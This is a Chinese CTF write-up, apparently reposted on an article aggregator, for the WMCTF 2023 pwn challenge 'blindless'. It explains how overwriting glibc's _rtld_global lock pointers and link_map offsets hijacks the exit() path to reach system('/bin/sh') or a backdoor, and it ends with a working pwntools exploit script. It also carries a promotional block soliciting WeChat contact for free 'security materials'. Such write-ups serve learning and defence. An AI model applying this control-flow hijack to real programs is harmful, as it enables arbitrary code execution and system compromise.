内存利用:迟来的blindless与逃不掉的exit漏洞

这篇具有很好参考价值的文章主要介绍了内存利用:迟来的blindless与逃不掉的exit漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x01 前言

在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。

这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。

在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。

"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。

0x02 exit_hook的n种姿势

基地址放在此处供各位参考一下,用于计算指令偏移。

exit_hook2libc

首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的元素可以改来调用。

注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!

执行p _rtld_global。看到那两个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。

注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。

然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。

注意这个2312是十进制。

好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。

并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)

exit_hook2elf

1.间接call

这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。

对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。

例如修改_rtld_global+2312为"/bin/sh\x00"

这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。

调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

2.直接call

link_map地址+0xa8是存第二个直接call的偏移

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。

但是发现有一个地方判断可以跳过call r14

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。

在x86汇编中,je 指令的作用是:

  1. 检查零标志位(ZF)是否被设置为 1。

  2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。

回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。

完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。

0x03 exp

那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。

from pwn import *
​
​
n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
rl  = lambda     :p.recvline()
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
​
while True:
​
        context(os='linux', arch='amd64', log_level='debug')
        p = process('./main')
        context.terminal = ['tmux','new-window' ,'-n','-c']
        #gdb.attach(p)
        sla('ze',b'-10')#分配到libc上(用mmap)
        sla('ze',b'256')
​
        pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
        pay += b'@'+p32(2148618432)
        pay +=b'.' + b'\xb1'
        pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
        pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
        pay +=b'.' + b'\x00'
        pay += b'q'
        sla('code\n',pay)
​
        re = p.recvrepeat(0.1)#一直接收直到有回显
        #如果是system的话可以发一个cat flag再这样
        #这是个很好的爆破方式,学习学习
        if re:
            print('pwned!get your flag here:',re)
            exit(0)
        p.close()
​

   更多网安技能的在线实操练习,请点击这里>>

  

  文章来源地址https://www.toymoban.com/news/detail-709981.html

到了这里,关于内存利用:迟来的blindless与逃不掉的exit漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • mac删不掉的软件怎么办 Mac怎么删除第三方软件?

    我们在使用Mac电脑的过程中,随着使用时间变长,下载安装的软件也会增多。我们不仅会在“App Store”里下载软件,也会在其他地方下载安装第三方软件。但是,有的朋友想要卸载删除这些软件时,却不清楚如何删除这些软件。在使用Mac电脑时,有时会遇到删除某些应用程序

    2024年02月03日
    浏览(37)
  • 云原生|kubernetes|删除不掉的namespace 一直处于Terminating状态的解决方案

    在kubesphere部署的过程中,由于kubernetes集群的版本和kubesphere的版本不匹配,因此想要回退重新部署,但发现要用的namespace  kubesphere-system 普通的删除方法无效,一直处于 Terminating状态 新部署由于namespace一直是删除状态,无法继续进行: 具体表现为一直挂在删除界面: 下面就

    2024年02月09日
    浏览(33)
  • 微软CTO谈AI:逃不掉马拉松就准备好跑鞋!30秒自动化妆机;ChatGPT刷爆票圈;剪纸风格的AI绘画 | ShowMeAI资讯日报

    👀 日报合辑 | 🎡 AI应用与工具大全 | 🔔 公众号资料下载 | 🍩 @韩信子 https://blogs.microsoft.com/ai/a-conversation-with-kevin-scott-whats-next-in-ai/ 斯科特预计,AI系统的复杂性与规模将继续增长,带来生产力和创造力的显著提升,并为当前世界面临的复杂挑战提供解决方案。(本文仅呈

    2024年02月04日
    浏览(27)
  • ‘xxx‘ “将对您的电脑造成伤害。 您应该将它移到废纸篓。”mac一直弹窗并关不掉的解决方式

    10.15.1之后的系统: 在终端输入:csrutil status 如果返回值为: System Integrity Protection status: enabled 说明MAC系统SIP保护开启了,关闭SIP保护即可 重新启动MAC电脑,重启的时候按command+r,进入恢复环境,在恢复环境打开终端 输入csrutil disable 重新启动系统后,再次输入csrutil status,应

    2024年02月13日
    浏览(34)
  • HOperatorSet.GenRandomRegions 有内存泄漏或缓存,释放不掉

    VS2022 win7 halcon12 halcon18 不释放 private void butTemp_Click(object sender, EventArgs e)         {             butTemp.Enabled = false;             HOperatorSet.SetSystem(\\\"clip_region\\\", \\\"false\\\");             {                 HObject ho_regions;                 HOperatorSet.GenRandomRegions(out ho_regions, \\\"circle\\\"

    2024年02月10日
    浏览(32)
  • 打工人逃不开「单人单岗」

    「 闲 」到停不下来,「 忙 」到无事可做! 01 年后开始,研发团队一直「 单人单岗 」; 为什么 ? 就是所谓的追求降本,无非裁员的手段,最终的目的就是让团队的人员结构简化到极致; 虽然符合公司预期,但是与打工人的预期强烈不符; 然而, 这不重要 ; 打工人的难

    2023年04月26日
    浏览(26)
  • Netty自定义应用层协议逃不开的粘包和拆包处理

    导致一次发送的数据被分成多个数据包进行传输,或者多次发送的数据被粘成一个数据包进行传输 使用TCP进行数据传输时,TCP是一种有序的字节流,其中是一个一个的数据报文发送到系统的缓冲区中。因此在发送端和接收端之间无法保证数据的分割和边界。这就可能导致数据

    2023年04月23日
    浏览(84)
  • RAMMAP(运行内存清理工具)自动释放内存,并利用pyqt5制作图形界面

    上一篇文章用python制作了一个自动清理内存的程序,利用cmd端口调用Rammap,不过只是做了一个托盘图标,这回用pyqt5做一个简单的图形界面,并实现对自动清理模式的一些设置 首先利用pyqt5工具qt designer生成UI界面,这里命名为F_UI.ui(并利用信号/槽编辑器将滑动条和微调框绑

    2024年02月11日
    浏览(33)
  • 4.3 x64dbg 搜索内存可利用指令

    发现漏洞的第一步则是需要寻找到可利用的反汇编指令片段,在某些时候远程缓冲区溢出需要通过类似于 jmp esp 等特定的反汇编指令实现跳转功能,并以此来执行布置好的 ShellCode 恶意代码片段, LyScript 插件则可以很好的完成对当前进程内存中特定函数的检索工作。 一般而言

    2024年02月12日
    浏览(29)
  • 利用谷歌DevTool解决web网页内存泄漏问题

    目录 web网页内存泄漏 主要的内存泄漏来源 利用谷歌DevTool定位内存泄漏问题 性能Performance 主要功能 Performance insights性能数据分析 Memory内存 三种模式 相关概念 解决内存泄漏问题 第一步 :是否内存泄漏:js堆直增不降;降的不多 第二步:找到导致内存泄漏的函数或者变量,

    2024年02月08日
    浏览(231)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包